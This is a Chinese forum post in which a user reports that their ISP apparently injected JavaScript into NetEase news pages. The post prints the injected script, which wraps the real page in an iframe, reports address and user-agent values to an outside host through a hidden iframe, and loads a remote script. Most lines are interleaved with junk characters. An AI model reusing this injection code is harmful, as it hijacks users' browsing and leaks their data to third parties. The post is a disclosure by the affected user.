|
|
本帖最后由 hudba 于 2015-2-3 00:56 编辑 . q5 S' s# E- c1 ~- T: y7 d) {
- g1 L3 F! D: A: k3 a
上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
* Q: b6 E* {: v% Z! N
* U) ^5 o! M7 U8 s接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}. J7 k& A' a. j+ S3 w% w
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197
/ k4 f# d7 t# O7 B: k6 T; o! n; o% [& N4 @$ G; E
顺便查下ip138:$ l& X; k7 d7 P( o
, _0 ?2 L/ E4 s) X( R+ L5 c这是那段js里面的代码,好象是个半成品还没写入广告数据:: t. \ ~* }) Y* d, W
- function locationSearch() {" P% c- |5 N' [3 M
- var s = getMainJs();
2 G4 [, H/ z5 Q( \9 W - if (s == null) {7 d# V9 ~; z8 w7 I: _
- location.reload();2 G0 M. O8 j$ b- k! L5 o. W0 C
- }0 R8 |8 T4 ^1 ~
- return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
1 _6 B/ d+ O7 B* c3 Q q: U7 C4 A - }% @( J8 o8 N$ B1 J, j$ v
. O( }% C3 M0 X _4 k' F- function getParameter(name, paraStr) {7 t; j& {7 _ e! v
- var result = "";
2 e. v% M$ e7 M. B$ h - var str = "&" + paraStr.split("?")[1];& D8 m; H% E3 L4 i3 r) P
- var paraName = "&" + name + "=";9 v6 u1 r! `! H8 b
- if (str.indexOf(paraName) != -1) {) F7 M9 K" D) q/ }( m/ H2 l A5 T! f2 y
- if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
9 W4 f* ]5 ?$ E& ^3 u - var TmpStr = str.substring(str.indexOf(paraName), str.length);
8 C, @% R, r- L* m" @( K - result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(9 A- ~9 k# ~# e3 z* z4 z3 J( N
- 1, TmpStr.length).indexOf("&")
0 W! s2 M/ O- k2 n& f# A! c - - TmpStr.indexOf(paraName) + 1);
5 z8 z! g: X7 A D - } else {
Q- J* I) L" i - result = str.substring(str.indexOf(paraName), str.length);( L. E4 T% r% @1 x- h2 p3 K5 ]1 }
- }
3 {$ g0 F' g% @7 O
( Q* C5 T j% o2 h7 a) H2 V# C- result = result.substring(result.indexOf("=") + 1, result.length);
9 D' C( s. b4 n% o% [& Z, X1 { - } else {
7 e, {- P6 Q# c T: @: [; K - result = "No such parameter";
8 B( ^! f! K! B' u- C - }
3 `" a1 w0 v# p' {. T - return (result.replace("&", ""));
/ u/ X; Q M6 d+ L - }
5 P2 g$ Y% ]6 _8 K) l - * f/ J7 B @ P8 r! z k9 e
- function getMainJs() {
6 c4 Q5 K7 N8 {+ O4 [* ] - var scripts = document.getElementsByTagName("script");. X* ]1 |: |$ m/ M3 _. Z* \
- var s = null;
9 a; w3 w( ~$ i9 Y; {4 Y - for (var i = 0; i < scripts.length; i++) {7 x& ^5 b* j7 {' `% E, g+ D; K( u5 d4 A
- if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
5 y7 V# w1 X+ k( B - s = scripts[i];$ f! w& A0 a) U( h1 y
- break;
: y& m! i) e7 `8 r2 @ - }
, @1 A; E2 y, x# o - }
0 S; {' ?% C3 s - return s;
, E% U' X! v5 R4 [- ~. A4 V! r - }, x9 ~% z2 v& T
% d! }* K7 v4 ~7 p% Z' [/ p6 f, X! |- function appendParam(oStr, aStr) {
+ N7 J3 B( a% h - if (oStr.indexOf('?') > 0) {. c# D8 m0 y. [" ~, N
- oStr = oStr + "&" + aStr;
0 i$ B% T4 U* D* f7 n D) P - } else {1 s" w) i8 {' c' S* M; W9 m' q
- oStr = oStr + "?" + aStr;
9 G4 i' n2 r) I! `0 Q, P+ A! K - }" r' }( x7 U# `" Z7 D
- return oStr;* c( P, x6 z3 ]8 @$ C1 ]5 u
- }& h( M5 e, N* i2 J5 C
- 1 C' t- `; L& c5 U
- window.onerror = function() {4 Z3 w4 l* B2 z' O2 j6 M O
- };
% `! `8 y/ ] H9 E5 } - : N' n7 S% z$ z( Q& h$ c& E- k0 ~. }
- var g_titleTime = 0;' l/ A$ g% h# ] Q5 @/ n% B
- function setTcTitle() {% {, q- E F" X+ I- e
- if (undefined == document) {
' A$ x6 d) y% Y) t3 T# \! t - g_titleTime++;
' f* k7 P! y- L- k; S - setTimeout("setTcTitle();", 1000);9 h. N+ R; d. C, Y6 O( Y$ A. B
- return;
- s& ^. @# s) a& i& {5 I - }8 w. K/ p+ M+ }5 @
- 0 r) m$ w8 h J# ^
- var doc;
) M! R) g$ d k- \1 D# P; i. i - try {
% { W- u! Y$ `) u& v4 L - if (document.all) {
7 y) \( ]! O% I5 u0 Z, {& o+ ? - doc = document.frames["cn"].document;; u5 s/ K# g2 C9 T$ I" C
- } else {
& \7 S4 ?7 U; c) a - doc = document.getElementById("cn").contentDocument;
; m# u+ v% a/ A5 S3 A2 O1 U: x" ^' j - }- h- ^" d, `( [& H
- } catch (ex) {
, A5 z: ]) H8 W - }% {" t! S3 x0 d
$ t! D( h8 E' d7 I5 q7 c" j- if (g_titleTime < 5
& z/ J& E+ t$ m9 @8 U - && (undefined == doc || undefined == doc.title || "" == doc.title)) {
- E' T% l: z7 o/ C - g_titleTime++;
' ?) w- c7 z$ g/ f - setTimeout("setTcTitle();", 1000);! D w9 A5 Q. @! h% |
- return;
" g: o7 }# {. R( r( [ - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
" S7 n! t' _8 k7 V O. v. d - document.title = doc.title;
8 x! ^7 h1 C7 _ - setTcAdvVisible();
& A' C) g& L a% o! o% W- N - }
3 U8 V5 b3 J8 m+ ^* F# l - }
?/ S% [7 Y b7 F+ v
& ]. D& \! y# c4 R- U0 P9 k- setTimeout("setTcTitle();", 1000);
' o: Q; Z' F! \# l7 z
! k& y7 i! W- ^8 p. J- var g_isHaveVisible = false;
* ` d* {/ q' ]" a/ D2 P6 } - function setTcAdvVisible() {& l1 ?4 W) [/ u" P2 f5 z
- if (undefined != document && undefined != document.getElementById("addiv")6 e! g. U6 P: p$ t! H3 N
- && !g_isHaveVisible) {, u4 c* c k6 h' b, v
- document.getElementById("addiv").style.visibility = 'visible';$ l, q1 p) T) s( w S' W
- document.getElementById("addiv").style.display = 'block';
5 k# J, b# U! y' W; Z5 _ - g_isHaveVisible = true;5 @% ]5 O/ o3 \, K
- }
) W+ o1 p# ?( c+ J" P - }1 Q0 y8 `. C- I/ j8 I# z2 |
- 8 F9 |& b8 C4 y, Q6 E* A3 c/ Q: p
- function UrlAnalyzer() {" R3 c# Q# y) | v) f( p/ a: I
- this.divda = "";5 z4 J9 U" }: f
- this.tctype = "";. v0 H$ I0 u2 r5 U
- this.radius = "";
! F" g: r! {8 L" X - this.rlu = "";
+ I, p4 r- h+ a# f - }
% r6 D* M6 J) L. L3 _5 z - 7 K: L8 Q- A, y
- UrlAnalyzer.prototype.initParameters = function() {. j+ N* U/ L. h7 `
- var paraStr = locationSearch();! S% y9 t G0 s6 ]6 B
- this.rlu = getParameter("lruedct", paraStr);
' J1 E$ Q4 Z( `& a g2 ~. j- @0 K - this.divda = getParameter("divda", paraStr);
$ q# n! X! ]. Y) a0 g7 C% }/ l - this.radius = getParameter("radius", paraStr);, V# e; d. A% H3 R5 I7 L3 [
- this.tctype = getParameter("tctype", paraStr); ?7 I8 C/ ~4 O4 ]! U9 f4 h4 {. R
- this.address = getParameter("address", paraStr);7 O, d9 @2 e" Z2 }' k, [
- this.usagent = getParameter("usagent", paraStr);
9 _* B1 K r, V1 x- O6 s/ Y - }
; F* Y/ n; f; b. _7 C) d# p
. v0 D# Y1 p7 D% `. Y- UrlAnalyzer.prototype.getHtmlDoc = function() {
' y( C& ~6 ?; l7 k- ?, J - var doc;
3 W9 X$ P, s: {8 B+ _ - try {
6 H Z+ ^) y4 C- u" d - if (document.all) {* o v/ B% n4 D" z, a/ y
- doc = document.frames["cn"].document;
& N7 l% X5 c8 g' z$ R$ N - ; S" o% H, B. K2 T
- } else {
' Y, }* l" x$ Q% l N; E6 D - doc = document.getElementById("cn").contentDocument;
9 [3 m+ y, g: E; G - // doc = document.getElementById("cn").contentWindow.document;2 p( D% ~3 ?( S+ I0 D$ j
- }! T( g( r* x' c k8 ~" b
- } catch (ex) {
, n3 k* ?5 h1 b2 U7 Z I - }
* m( H8 E2 z' J7 h) |; \( N: G - return doc;
, [" G+ k9 K" v, h- s - }
+ L$ E k( G' w) H7 ? - $ {5 w( ? o ?! s
- UrlAnalyzer.prototype.setDomain = function() {
8 H3 k) v2 y" e9 I' V9 d3 m - if (undefined != document.title && "" == document.title)
, Z" I1 F; q9 E$ M! r - {
( g7 J" \0 Z; V - var index = document.domain.indexOf(".");0 K( b# \% Q, e( E% N
- if (undefined != index && -1 != index) {8 [- t5 Z& P+ g
- document.domain = document.domain.substring(index + 1,
3 K/ u- p7 T. o; E' U6 B$ a - document.domain.length);2 ]- I1 K" o+ _
- }
( d! }: u2 y+ X$ }+ _& n - & [; i- U$ s0 X, H% r) l
- var doc = this.getHtmlDoc();
( p {; t. Z& _1 A' ]# ? - if (undefined != doc && undefined != doc.title && "" != doc.title) {. U& U6 k7 s+ Z
- document.title = doc.title;6 X6 P1 J8 C2 o
- setTcAdvVisible();5 M# V" i' b( Q: p$ `- h Q
- }9 F% w8 ?9 v. F( d% n* ]) b
- }! P6 b6 W, a1 E% m1 V
- }
6 _; j$ i# L: j - 9 m# P* p' ~0 I5 z1 s3 }
- UrlAnalyzer.prototype.iframeCallback = function() {) e T0 c1 }2 l1 ?
- var doc = this.getHtmlDoc();
. x. A, a/ @9 s7 j) c+ o1 h - if (undefined == doc || undefined == doc.title || "" == doc.title) {& \1 g8 r& v( x9 [( n* n
- if (undefined != document.domain) {
$ a9 }0 k: {2 `& }
. Z6 g% V7 V" Y/ [3 M- N/ C- var self = this;* a( T1 }. f& F% o4 D; C
- setTimeout(function(){self.setDomain.call(self, null)}, 1000);
2 s! e9 e, F! H2 l% P - // var index = document.domain.indexOf(".");
7 h; Z4 N" j0 W9 _ - // if (undefined != index && -1 != index) {
& @& E0 [% Q( s8 V) O( U) E - // document.domain = document.domain.substring(index + 1,
: _$ P- _. R. b+ V - // document.domain.length);0 o" _& s' ~$ U+ i( {
- // }
& c! e; d- o$ ` X1 t2 s$ z - //
$ q- C0 x6 x! M) O - // var doc = this.getHtmlDoc();
7 [6 o8 r# ] _2 I) _$ s - // if (undefined != doc && undefined != doc.title && "" !=
* w1 b* q# M( J' X - // doc.title) {" O1 i& {/ S0 X: O$ n7 }" A3 P, r
- // document.title = doc.title;+ t8 t+ J( H; n& V; m g, n" ^
- // setTcAdvVisible();
5 e$ {% S7 d9 G. M ~ - // }
8 K5 m8 @% J# q+ {) g6 V - }8 x! H, @) _1 ~; s i! s% n
- } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
$ z. L' B. I5 l5 z m2 f1 v# i - document.title = doc.title;0 w, n" R9 t- G9 t% l" P
- setTcAdvVisible();
# W% }1 I2 f$ H: s9 r& F3 h$ ] - }7 S( q" C! I' t, d* Q8 S5 c
- }
5 C. f- X1 _# l- j: q( e6 k
4 F5 Q7 m1 r D; f$ }, |. Z- UrlAnalyzer.prototype.executeHtmlContext = function() {. g& r' n1 Q$ p
- var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda) g, ^) p# F% ?) _
- + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;. t/ B6 K: C! d; h' l+ N- Y
- % T: v( I6 b( @8 K
- var htmlStr = "<iframe src="" + staUrl* e. \/ d1 R1 s' w8 X6 p
- + "" style="display:none"></iframe>";- X% u, e8 O; S$ f5 w
- + \+ F# d% g4 B1 x8 O+ [' p
- var advUrl = htmlStr+ M% d, N. R% \& w2 z. c
- + "<script src="http://c2.sxite.com:8060/center?advId="
% Q2 P/ i; u3 e6 Z; T: N - + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";
# H' v# g) v5 W! p: P; B2 U9 b - document.write(advUrl);7 Z' b. ~! _/ z- z. D* w1 F5 i
8 b/ `# ^# x3 p" ?# W" @4 b/ r- var self = this;, \ B/ l; X/ g1 v' l
- var iframe = document.getElementById("cn");
) a; @6 y% S6 Z1 O* G% U- { - if (iframe.attachEvent) {
# E0 a1 c7 V6 U j+ t: Y6 y% x( w1 ?6 M - iframe.attachEvent("onload", function() {
) i! a8 b! f1 C3 H a - self.iframeCallback.call(self, null);
4 H, A' \4 k& x. a" T - });
; @* L- q* Q! s- }& a$ o - } else {7 D3 V8 j; K9 C1 N
- iframe.onload = function() {5 f$ r. x7 S. M, t& u
- self.iframeCallback.call(self, null);
0 X: M) X3 [. k1 F6 r5 ]; n! E; T - }
9 ]4 w: a7 ~2 B) n$ C - }7 V, _8 v( D4 \
- }2 d& C4 O4 ~3 C4 x) _: Y0 s
2 f1 g2 I" Y& v. g5 _% ?- UrlAnalyzer.prototype.executeMain = function() {
( o, ~1 T5 ?9 _ I - var mainFrame = document.getElementById("cn");
3 L2 \4 B( @# i1 A8 A" R1 c - mainFrame.contentWindow.location.href = mainFrame.src;
7 |2 ]1 Y! I) i- j% ]' Y) V - this.initParameters();* l0 T: ^, V6 {$ r: y, E
- this.executeHtmlContext();- q, R' ]0 w, O' f9 }+ q" g
- }4 ~- j$ d: z3 I4 ^4 U4 k/ U2 E
& }: T" j" v2 D. d o0 x- var g_analyzer = new UrlAnalyzer();
6 w+ C Z, ]$ ]4 P - g_analyzer.executeMain();
1 {3 A2 Z3 E5 z9 B Q
复制代码 7 ]1 M9 ]0 U3 h+ @: [4 R0 J( }
+ e& \/ l- P' D4 E( B4 B: {8 i* T( D; [" I% Y0 d+ |' D
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|